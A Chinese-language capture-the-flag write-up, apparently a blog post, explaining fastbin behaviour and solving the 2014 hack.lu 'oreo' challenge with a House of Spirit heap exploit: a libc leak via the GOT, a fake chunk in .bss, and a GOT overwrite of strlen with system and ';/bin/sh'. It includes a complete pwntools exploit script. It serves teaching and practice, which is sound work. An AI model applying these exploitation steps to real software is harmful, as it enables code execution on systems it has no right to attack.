0x10 基础知识
关于 bin 的一些特点
-
malloc 返回值，指向 chunk 的 user data
-
每个 bin 采取 LIFO 策略，最近被释放的 chunk 优先被再次使用
关于 fastbin 的一些特点
案例
int main(void)
{
void *chunk1,*chunk2,*chunk3;
chunk1=malloc(0x30);
chunk2=malloc(0x30);
chunk3=malloc(0x30);
//进行释放
free(chunk1);
free(chunk2);
free(chunk3);
return 0;
}
第一次 free
fastbin(fd) -> chunk1
第二次 free
fastbin(fd) -> chunk2 -> chunk1
全部释放后，chunk1、chunk2、chunk3 数据结构中的 fd 指针（指向下一个相邻 chunk）如下
fastbin(fd) -> chunk3 -> chunk2 -> chunk1
fastbin 中的 chunk 并没有使用 bk，这也从侧面说明 fastbin 使用单链表来维护和释放堆块的。且 fastbin 中的 next chunk 的 previous chunk 位不会被清空。
0x20 2014 hack.lu oreo
0x21 程序分析
简单分析，运行程序并结合反编译的代码
-
Add new rifle
sub_8048644()，添加一把枪，用户输入的 name 存在堆溢出，可以覆盖下一个 chunk desc name previous ┌──────────┬──────────────┬──┐ │ │ │ │ └──────────┴──────────────┴──┘ addr +25 +52 转换成结构体，其实就是 struct Rifle{ char desc[25]; char name[27]; char *previous; } -
Show added rifles
sub_8048729()，打印所有添加的抢的名字和描述（倒叙） -
Order selected rifles
sub_8048810()，循环释放步骤1 每一个申请的 chunk -
Leave a Message with your Order
sub_80487B4(), 将输入的消息存放至全局变量 dword_804A2A8，而该变量指向的地址空间就是相邻的下一个存储空间 .bss:0804A2A8 dword_804A2A8 dd ? ; DATA XREF: sub_80487B4+23↑r .bss:0804A2A8 ; sub_80487B4+3C↑r ... .bss:0804A2AC align 20h .bss:0804A2C0 unk_804A2C0 db ? ; ; DATA XREF: main+29↑o .bss:0804A2C1 db ? ; .bss:0804A2C2 db ? ; .bss:0804A2C3 db ? ; -
Show current stats
sub_8048906()，打印 rifle 的 count/order_count/word_804A2A8，即数量、订购数量、订购留言 -
Exit!
很明显，add_rifle 申请的 chunk 存在溢出，chunk 的地址又可以被覆盖，且会被 select_rifle 释放。因此可以实现释放任意地址空间，这个地址空间就是我们需要伪造的 fastbin chunk。释放伪造的 chunk，这就是 House of Spirit 的核心。释放之后再次申请相同大小的内存，那么就会分配想要的地址。
根据 free 函数的源码，伪造的 chunk 应该满足以下条件，才会被放入 fastbin
- ISMMAP 位不能为 1，即不能使 mmap 函数申请的内存，否则会被单独处理
- 地址对齐，这是基本要求
- 大小在 fastbin 范围之内
- fake chunk 对应的 fastbin 链表头部不能是该 fake chunk，即不能构成 double free
- 下一个 chunk 的 size 在 bin 上
House of Spirit 的目标是实现任意地址写。
0x22 漏洞利用
1 控制 rifle->previous，泄露 libc
需要注意的两点
- 在这个程序中，没有使用 setvbuf 设置输出缓冲，在遇到 printf 打印没有 '\n’的字符串时，可能不会输出到终端
- 注意偏移的计算，previous 指针的偏移，IDA 反编译的代码
*((_DWORD *)rifle + 13) = v1;应该是 13 * 4 = 0x34，这一点从汇编代码也能看出来mov [eax+34h], edx
# 1.leak libc
add_rifle(b'a' * 27 + p32(pwn_elf.got["printf"]), b'b' * 25)
show_rifle()
io.recvuntil(b"===================================\n")
io.recvuntil(b"===================================\n")
io.recvuntil(b"Description: ")
printf_addr = u32(io.recv(4))
print("printf_addr: " + hex(printf_addr))
libc_base = printf_addr - libc_elf.sym["printf"]
print("libc_base: " + hex(libc_base))
2 伪造 chunk，实现任意地址写
dword_804A2A8 = (char *)&unk_804A2C0;，这是选项 4 能够写入的用户订单留言信息，如果我们能够控制 dword_804A2A8 的值，就可以实现任意地址写
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Sa3bUfkd-1625744375664)(fake_chunk_addr.png)]
所以现在的思路就是利用堆溢出，修改 previous 指针，指向 0x0804A2A8（地址刚好已经对齐），这个地址就是我们需要伪造的 chunk。
对于 fake chunk 的布局，以绕过 free 函数的检查
-
fake chunk size = count，为了和
malloc(0x38)保持一致可以设置为0x41（也可以设置成其他值，当然大小要在 fastbin 范围内，且最后一位为 1）add_file() 一共运行 0x41 次即可
-
下一个 chunk size 的 IN_USE = 1
需要计算偏移量，这里注意偏移：0x0804A2A8 + (0x40 - 0x8 + 0x4) - 0x0804A2C0，刚好没有使用 chunk 的空间复用！
-
fake chunk 的 previous 应该指向 Null，否则会继续 free 一个不存在的地址空间
*(0x0804A2A8 + 0x34 - 0x0804A2C0) = 0x00
代码如下
# house of spirit
for i in range(0x41 - 0x2):
add_rifle(b'a', b'b')
add_rifle(b'a' * 27 + p32(0x0804A2A8), b'b' * 25)
offset = 0x0804A2A8 + (0x40 - 0x8 + 0x4) - 0x0804A2C0
leave_msg(b'\x00' * offset + p32(0x41)) # \x00 是为了满足 fake chunk 没有后续的 chunk！
order_rifle() # free
add_rifle() # malloc,实现任意地址写
leave_msg()
3 覆盖 GOT 表
got.plt 节有几个函数，选择的函数应该符合入参可控
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8NryBnnU-1625744375666)(got.png)]
我们发现 strlen() 刚好是 leave_msg() 的 msg，因此，在修改 got 表同时，也传入了入参
add_rifle(b'a', p32(pwn_elf.got["strlen"])) # malloc
leave_msg(p32(libc_elf.sym["system"]) + b";/bin/sh")
相当于执行了 system(p32(libc_elf.sym["system"]), ';/bin/sh')
0x30 总结
本次例题漏洞点在于堆溢出可修改 chunk 地址，实现 free 任意地址的 chunk（前提是这个地址的前后部分我们能够控制，达到 free 检查），这样再次申请，可以得到我们伪造的 chunk。fake chunk 的空间指向的地址，如果能够被修改，即可实现任意地址写。
堆的利用方式千变万化，House of Spirit 只是其中的一种（Fastbin attack），通过伪造的 fake chunk，可以实现任意地址写的目的，进而覆盖 GOT 表的函数地址。
exp
from pwn import *
def add_rifle(name, desc):
io.sendline(b"1")
io.sendline(name)
io.sendline(desc)
def show_rifle():
io.sendline(b"2")
def order_rifle():
io.sendline(b"3")
def leave_msg(msg):
io.sendline(b"4")
io.sendline(msg)
context(log_level="debug", os="Linux", arch="i386")
pwn_elf = ELF("./oreo")
libc_elf = ELF("/lib32/libc.so.6")
io = process("./oreo")
gdb.attach(io, "b free")
io.recv()
# 1.leak libc
add_rifle(b'a' * 27 + p32(pwn_elf.got["printf"]), b'b' * 25)
show_rifle()
io.recvuntil(b"===================================\n")
io.recvuntil(b"===================================\n")
io.recvuntil(b"Description: ")
printf_addr = u32(io.recv(4))
print("printf_addr: " + hex(printf_addr))
libc_base = printf_addr - libc_elf.sym["printf"]
print("libc_base: " + hex(libc_base))
# house of spirit
for i in range(0x41 - 0x2):
add_rifle(b'a', b'b')
add_rifle(b'a' * 27 + p32(0x0804A2A8), b'b' * 25)
# fake chunk
offset = 0x0804A2A8 + (0x40 - 0x8 + 0x4) - 0x0804A2C0
leave_msg(b'\x00' * offset + p32(0x41))
order_rifle() # free
#io.recv()
# GOT
add_rifle(b'a', p32(pwn_elf.got["strlen"])) # malloc
leave_msg(p32(libc_base + libc_elf.sym["system"]) + b";/bin/sh")
io.recv()
io.interactive()